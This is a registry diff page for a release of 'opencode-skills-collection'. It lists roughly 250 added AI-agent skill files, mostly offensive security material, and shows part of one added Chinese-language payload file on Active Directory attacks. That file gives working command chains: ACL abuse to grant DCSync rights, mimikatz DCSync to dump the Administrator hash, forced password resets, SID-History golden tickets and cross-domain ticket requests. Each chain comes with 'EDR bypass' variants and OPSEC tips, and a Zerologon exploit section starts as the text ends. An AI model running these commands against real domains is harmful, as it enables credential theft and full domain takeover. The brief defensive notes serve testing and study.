opencode-skills-collection 4.0.43 → 4.0.44
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,753 @@
|
|
|
1
|
+
# 域渗透攻击
|
|
2
|
+
|
|
3
|
+
_14 条 intranet payload_
|
|
4
|
+
|
|
5
|
+
### 域内权限提升路径 `domain-privilege-escalation`
|
|
6
|
+
_利用ACL错误配置进行域权限提升_
|
|
7
|
+
子类:**权限提升** · tags: `acl` `privilege` `active-directory` `escalation`
|
|
8
|
+
|
|
9
|
+
**前置条件:**
|
|
10
|
+
- 域环境
|
|
11
|
+
- 普通域用户凭证
|
|
12
|
+
- BloodHound分析结果
|
|
13
|
+
|
|
14
|
+
**攻击链:**
|
|
15
|
+
|
|
16
|
+
**BloodHound分析**
|
|
17
|
+
> 查询到域管理员的最短路径
|
|
18
|
+
```
|
|
19
|
+
MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**查找WriteDACL**
|
|
23
|
+
> 查找WriteDACL权限
|
|
24
|
+
_platform: windows_
|
|
25
|
+
```
|
|
26
|
+
Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*WriteDACL*"}
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
**利用WriteDACL**
|
|
30
|
+
> 添加DCSync权限
|
|
31
|
+
_platform: windows_
|
|
32
|
+
```
|
|
33
|
+
Add-DomainObjectAcl -TargetIdentity TARGET$ -Rights DCSync -PrincipalIdentity CONTROLLED_USER
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
**执行DCSync**
|
|
37
|
+
> 执行DCSync获取域管哈希
|
|
38
|
+
_platform: windows_
|
|
39
|
+
```
|
|
40
|
+
mimikatz.exe "lsadump::dcsync /domain:domain.com /user:Administrator" "exit"
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
**查找GenericAll**
|
|
44
|
+
> 查找GenericAll权限
|
|
45
|
+
_platform: windows_
|
|
46
|
+
```
|
|
47
|
+
Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"}
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
**重置密码**
|
|
51
|
+
> 重置目标用户密码
|
|
52
|
+
_platform: windows_
|
|
53
|
+
```
|
|
54
|
+
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force)
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
**EDR 绕过变体:**
|
|
58
|
+
|
|
59
|
+
**隐蔽操作**
|
|
60
|
+
> 指定域控制器操作
|
|
61
|
+
```
|
|
62
|
+
Add-DomainObjectAcl -TargetIdentity TARGET$ -Rights DCSync -PrincipalIdentity CONTROLLED_USER -DomainController dc.domain.com
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
|
|
66
|
+
**分析:** 域内ACL错误配置是常见的权限提升路径,可以通过BloodHound发现。
|
|
67
|
+
|
|
68
|
+
**OPSEC 提示:**
|
|
69
|
+
- ACL修改会产生日志
|
|
70
|
+
- 优先使用隐蔽的权限
|
|
71
|
+
- BloodHound可以发现攻击路径
|
|
72
|
+
|
|
73
|
+
**概述:** Active Directory中的ACL错误配置允许低权限用户获取高权限。
|
|
74
|
+
|
|
75
|
+
**漏洞原理:** AD中的ACL配置错误可能允许低权限用户修改高权限对象的属性或权限。
|
|
76
|
+
|
|
77
|
+
**利用方法:** 利用流程:1) 使用BloodHound分析;2) 发现ACL攻击路径;3) 利用权限提升;4) 获取高权限。
|
|
78
|
+
|
|
79
|
+
**防御措施:** 防御措施:1) 定期审计ACL配置;2) 最小权限原则;3) 监控ACL修改;4) 部署异常检测。
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
### 跨域信任攻击 `domain-cross-trust`
|
|
84
|
+
_利用域信任关系进行跨域攻击_
|
|
85
|
+
子类:**跨域攻击** · tags: `trust` `cross-domain` `active-directory` `forest`
|
|
86
|
+
|
|
87
|
+
**前置条件:**
|
|
88
|
+
- 已获取源域权限
|
|
89
|
+
- 存在域信任关系
|
|
90
|
+
- 目标域信息
|
|
91
|
+
|
|
92
|
+
**攻击链:**
|
|
93
|
+
|
|
94
|
+
**枚举信任关系**
|
|
95
|
+
> 枚举域信任关系
|
|
96
|
+
_platform: windows_
|
|
97
|
+
```
|
|
98
|
+
Get-NetDomainTrust
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
**枚举森林信任**
|
|
102
|
+
> 枚举森林信任关系
|
|
103
|
+
_platform: windows_
|
|
104
|
+
```
|
|
105
|
+
Get-NetForestTrust
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
**跨域用户枚举**
|
|
109
|
+
> 枚举目标域用户
|
|
110
|
+
_platform: windows_
|
|
111
|
+
```
|
|
112
|
+
Get-NetUser -Domain target.domain.com
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
**跨域组枚举**
|
|
116
|
+
> 枚举目标域组
|
|
117
|
+
_platform: windows_
|
|
118
|
+
```
|
|
119
|
+
Get-NetGroup -Domain target.domain.com
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
**SID History攻击**
|
|
123
|
+
> 利用SID History跨域提权
|
|
124
|
+
_platform: windows_
|
|
125
|
+
```
|
|
126
|
+
mimikatz.exe "kerberos::golden /domain:source.domain.com /sid:S-1-5-21-SOURCE /sids:S-1-5-21-TARGET-519 /krbtgt:HASH /user:Administrator /ptt" "exit"
|
|
127
|
+
```
|
|
128
|
+
**语法解析:**
|
|
129
|
+
- `/sids` — 添加目标域的SID _parameter_
|
|
130
|
+
- `519` — Enterprise Admins组的RID _value_
|
|
131
|
+
|
|
132
|
+
**跨域票据**
|
|
133
|
+
> 请求目标域票据
|
|
134
|
+
_platform: windows_
|
|
135
|
+
```
|
|
136
|
+
asktgt.exe -domain target.domain.com -user Administrator -hash :HASH
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
**EDR 绕过变体:**
|
|
140
|
+
|
|
141
|
+
**隐蔽跨域**
|
|
142
|
+
> 指定目标域控制器枚举
|
|
143
|
+
```
|
|
144
|
+
Get-NetUser -Domain target.domain.com -DomainController dc.target.domain.com
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
|
|
148
|
+
**分析:** 跨域信任攻击可以利用信任关系从低安全域向高安全域移动。
|
|
149
|
+
|
|
150
|
+
**OPSEC 提示:**
|
|
151
|
+
- 跨域攻击会产生日志
|
|
152
|
+
- SID History需要特殊权限
|
|
153
|
+
- 森林信任更安全
|
|
154
|
+
|
|
155
|
+
**概述:** 域信任关系允许跨域访问,攻击者可以利用信任关系进行横向移动。
|
|
156
|
+
|
|
157
|
+
**漏洞原理:** 域信任关系可能允许攻击者从一个域访问另一个域的资源,SID History可以用于跨域提权。
|
|
158
|
+
|
|
159
|
+
**利用方法:** 利用流程:1) 枚举信任关系;2) 分析信任类型;3) 利用信任关系;4) 跨域横向移动。
|
|
160
|
+
|
|
161
|
+
**防御措施:** 防御措施:1) 审计信任关系;2) 使用选择性认证;3) 监控跨域活动;4) 定期审查SID History。
|
|
162
|
+
|
|
163
|
+
---
|
|
164
|
+
|
|
165
|
+
### Zerologon攻击 `zerologon`
|
|
166
|
+
_CVE-2020-1472 Netlogon提权_
|
|
167
|
+
子类:**Zerologon** · tags: `zerologon` `cve-2020-1472` `domain`
|
|
168
|
+
|
|
169
|
+
**前置条件:**
|
|
170
|
+
- 可访问域控制器RPC
|
|
171
|
+
|
|
172
|
+
**攻击链:**
|
|
173
|
+
|
|
174
|
+
**检测漏洞**
|
|
175
|
+
> 检测漏洞
|
|
176
|
+
_platform: linux_
|
|
177
|
+
```
|
|
178
|
+
python zerologon_tester.py DC_NAME DC_IP
|
|
179
|
+
检测是否存在漏洞
|
|
180
|
+
```
|
|
181
|
+
|
|
182
|
+
**利用漏洞**
|
|
183
|
+
> 利用漏洞
|
|
184
|
+
_platform: linux_
|
|
185
|
+
```
|
|
186
|
+
